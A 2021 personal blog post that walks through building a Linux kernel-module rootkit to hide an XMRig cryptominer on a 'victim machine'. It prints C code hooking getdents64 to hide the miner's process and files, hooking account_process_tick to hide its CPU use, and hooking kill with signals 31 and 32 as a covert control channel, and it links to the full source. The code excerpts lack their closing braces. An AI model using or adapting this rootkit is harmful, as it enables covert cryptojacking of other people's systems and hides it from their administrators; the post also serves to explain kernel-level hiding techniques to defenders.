Alfonso M. García Astorga

👋 Hi there! I'm Alfonso, I live in Madrid (Spain 🇪🇸). I love to write code and I like to use to my skills to build stuff at AMGA Ventures: my own software company dedicated to creating micro digital businesses. If you want to contact me, you can do it via e-mail.

Hiding miners on Linux for profit

Leveraging Linux Loadable Kernel Modules to hide a cryptocurrency miner process and CPU usage.

For the past months, I have been digging and learning how Linux Kernel does work. And what I have learned, can be used for good or for bad. In this post I'm gonna demostrate how a malicious actor can leverage a Linux Loadable Kernel Module to make a cryptocurrency miner invisible in the userland.

Overview of Linux Operating System running a malicious Linux Loadable Kernel Module and a cryptocurrency miner software

For this demostration I'm going to use XMRig, a high performance, open source and very popular cryptominer to mine Monero coin using the CPU intensive RandomX mining algorithm.

Here's a screenshot of what happens when you run a cryptominer:

Monitoring the machine processes using htop while XMRig is running

Using htop process viewer we can see that our cryptominer's process CPU usage is extremely high and it's using all available CPUs for mining. Now, if you're the system administrator of this machine, how much time would take you to detect it and kill that process? seconds, right? ;-)

To understand how we will hide the cryptominer, before we must know what happens under the hood when we execute htop, top or any other Linux program to monitor current system running processes.

top program under the hood

As you probably know, if you're a Linux user, top command provides a dynamic real-time view of a running system. It allows us to know the processes running at the moment.

So, what really happens when we execute top in our terminal? to figure it out we can use strace Linux command to intercept the system calls which are called so we can deepthly understand what top is doing.

A system call is a programmatic way a program can request a service from the kernel space, and strace is a powerful utility that allows us to trace the thin layer between user processes and the Linux kernel.

Let's figure out which system calls are top program calling by using strace:

root@vm-ubuntu2004:~# strace -c top -h
% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 40.81    0.000484           7        61           rt_sigaction
 13.32    0.000158           2        68        40 openat
 10.12    0.000120          40         3           write
  9.78    0.000116           4        27           read
  5.99    0.000071           2        30           close
  4.72    0.000056           2        27           fstat
  4.22    0.000050          12         4           getdents64
  3.79    0.000045          22         2           rt_sigprocmask
  2.28    0.000027           1        18           mprotect
  2.02    0.000024           8         3           munmap
  1.69    0.000020          10         2         2 mkdir
  0.76    0.000009           9         1           sched_getaffinity
  0.51    0.000006           6         1           getuid
  0.00    0.000000           0        32        28 stat
  0.00    0.000000           0        60           mmap
  0.00    0.000000           0         3           brk
  0.00    0.000000           0         8           pread64
  0.00    0.000000           0         1         1 access
  0.00    0.000000           0         1           execve
  0.00    0.000000           0         2         1 arch_prctl
  0.00    0.000000           0         1           futex
  0.00    0.000000           0         1           set_tid_address
  0.00    0.000000           0         1           set_robust_list
  0.00    0.000000           0         1           prlimit64
------ ----------- ----------- --------- --------- ----------------
100.00    0.001186                   358        72 total

Interesting! now we know all system calls that top are calling and this gives us a lot information about how top works. Let's continue to the next section, we'll know what we can do with this info later.

Hooking Linux system calls

Most Linux programs does system calls to the kernel space, so if we can intercept and modify them then the Linux programs that depends on them would be affected too.

So, how can we hook Linux system calls? for this demostration I decided to use Linux Kernel hooking engine (x86) by Ilya V. Matveychikov. There's more alternatives to do the hooks but I found this hooking engine pretty good and plus it allows us to hook generic kernel functions aside from hook kernel system calls.

Using Linux Syscall Reference (64 bit) table we can check out all available Linux system calls that we could hook into, if we would like to.

Building a Rootkit to make our cryptominer invisible

Let's get started! we are going to build a malicious Linux LKM (Loadable Kernel Module) that will hook some system calls and kernel functions to hide our miner so we can make it sure that it stays under the radar and we can mine in the victim machine for a long time!

Our rootkit will be coded using C programming language. It works on x86 architectures only and should be compatible with 2.6.33+ kernels.

Hiding miner from processes list and filesystem

To hide our mine process from processes monitoring programs, before we must know how this type of programs generates their processes list from.

So, how they do it? easy! in Linux, the /proc directory is used to store numerical named directories representing all running processes. When a process ends, its /proc directory disappears automatically.

Now that we know how processes are managed and by analysing top used system calls (from strace output above generated) we can confirm that top is using getdents64 system call to read processes from /proc directory.

We also want to hide our miner's executable file in the filesystem to avoid have it removed from the system. To achieve this we want to make sure that when someone executes ls command to list directory contents our miner's executable file doesn't appear.

ls command also calls getdents64 system call, so it's great for us because all we just need is to hook one system call and add a bit of logic code to develop 2/3 of our Rootkit required features (hide from processes list and hide miner's file from filesystem).

Hiding miner CPU usage

Hiding miner CPU usage is critical if we want our miner to survive for a longer time.

We can hide miner CPU usage by hooking kernel function account_process_tick. By doing so we can skip the ticks for our miner's process. Our CPU usage could not be accounted for and it would be equal to zero.

Hooking kill system call for Command and Control (C2)

How can we communicate to between our rootkit that is in kernel space and us that we are in userland? we'll need somehow to tell to the Rootkit which process ID (pid) we want to hide.

One solution to this issue would be to hook kill system call. kill system call is used to send any signal to any process group or process. For example, you can execute kill -9 <pid> to send a SIGKILL signal to a process to to cause it to terminate immediately.

The following is the prototype of kill system call:

int kill(pid_t pid, int sig);

It takes two arguments. The first, pid, is the process ID you want to send a signal to, and the second, sig, is the signal you want to send.

In our kill hook we will use unused sig number 31 to make the target process pid invisible and sig number 32 to make it visible again.

Rootkit source code preview

In this section I'll show you only the most important parts of the Rootkit source code. For simplicity i'll ignore things like cross-kernel version compatibility, LKM initialization (module_init), LKM exit (module_exit) and Linux Kernel hooking engine (x86) usage.

You can always view the full Rootkit source code at GitHub to understand the big picture.

Hooking kill system call for C2:

We define in the header file PF_INVISIBLE (invisible process flag value), SIGINVIS (kill signal number to make a process invisible) and SIGVIS (kill signal number to make a process visible):

#define PF_INVISIBLE 0x10000000

enum {
  SIGINVIS = 31,
  SIGVIS = 32,

We declare functions find_task (iterates through the list of all the processes to find provided pid), is_invisible (checks if a process pid is invisible by checking if has PF_INVISIBLE flag) and hacked_kill (hooks original kill system call and handles our custom signal numbers SIGINVIS and SIGVIS):

struct task_struct * find_task(pid_t pid)
    struct task_struct *p = current;
    for_each_process(p) {
        if (p->pid == pid)
            return p;
    return NULL;

int is_invisible(pid_t pid)
    struct task_struct *task;
    if (!pid)
        return 0;
    task = find_task(pid);
    if (!task)
        return 0;
    if (task->flags & PF_INVISIBLE)
        return 1;
    return 0;

asmlinkage int hacked_kill(pid_t pid, int sig)
    struct task_struct *task;
    switch (sig) {
        case SIGINVIS:
            if ((task = find_task(pid)) == NULL || is_invisible(pid) == true)
                return -ESRCH;
            task->flags ^= PF_INVISIBLE;
            printk(KERN_INFO "rootkit: process invisible >:-)\n");
        case SIGVIS:
            if ((task = find_task(pid)) == NULL || is_invisible(pid) == false)
                return -ESRCH;
            task->flags ^= PF_INVISIBLE;
            printk(KERN_INFO "rootkit: process visible :-(\n");
            return orig_kill(pid, sig);
    return 0;

Hooking getdents64 system call to hide processes and files from filesystem:

In the header file we declare MAGIC_PREFIX value that we'll use to hide all files in the filesystem that his filename starts this prefix.

#define MAGIC_PREFIX "xmrig"

We declare function hacked_getdents64 to hook getdents64 system call. As you can see if a directory name, filename starts with the MAGIC_PREFIX we skip it. If it's a process instead then we check if it's invisible by using the function is_invisible and if it's then we skip it too:

asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
    int ret = orig_getdents64(fd, dirent, count), err;
    unsigned short proc = 0;
    unsigned long off = 0;
    struct linux_dirent64 *dir, *kdirent, *prev = NULL;
    struct inode *d_inode;

    if (ret <= 0)
        return ret;

    kdirent = kzalloc(ret, GFP_KERNEL);
    if (kdirent == NULL)
        return ret;

    err = copy_from_user(kdirent, dirent, ret);
    if (err)
        goto out;

    d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
    if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
        proc = 1;

    while (off < ret) {
        dir = (void *)kdirent + off;
        if ((!proc &&
        (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
        || (proc &&
        is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
            if (dir == kdirent) {
                ret -= dir->d_reclen;
                memmove(dir, (void *)dir + dir->d_reclen, ret);
            prev->d_reclen += dir->d_reclen;
        } else
            prev = dir;
        off += dir->d_reclen;
    err = copy_to_user(dirent, kdirent, ret);
    if (err)
        goto out;
    return ret;

Hooking account_process_tick kernel function to hide CPU usage:

We declare function khook_account_process_tick to hook kernel function account_process_tick and we skip the tick for invisible processes by checking if tsk->flags contains PF_INVISIBLE flag value:

static void khook_account_process_tick(struct task_struct *tsk, int user)
    if (tsk->flags & PF_INVISIBLE) {
    return KHOOK_ORIGIN(account_process_tick, tsk, user);

Final result

Miner process and CPU usage is hidden:

When our rookit is loaded in the system the miner will always be flying under the radar!


Quick live demo showing how it works:


Huge thanks to Harvey Phillips for his series of blog posts on rootkit techniques and Ilya V. Matveychikov for his Linux Kernel hooking engine used in this demostration.

🏡 Go back home

🔐 PGP: 027D 6BCE 3F4C BD72 2E92  7043 9A46 DEF5 2279 1B79

© 2021 Alfonso M. García Astorga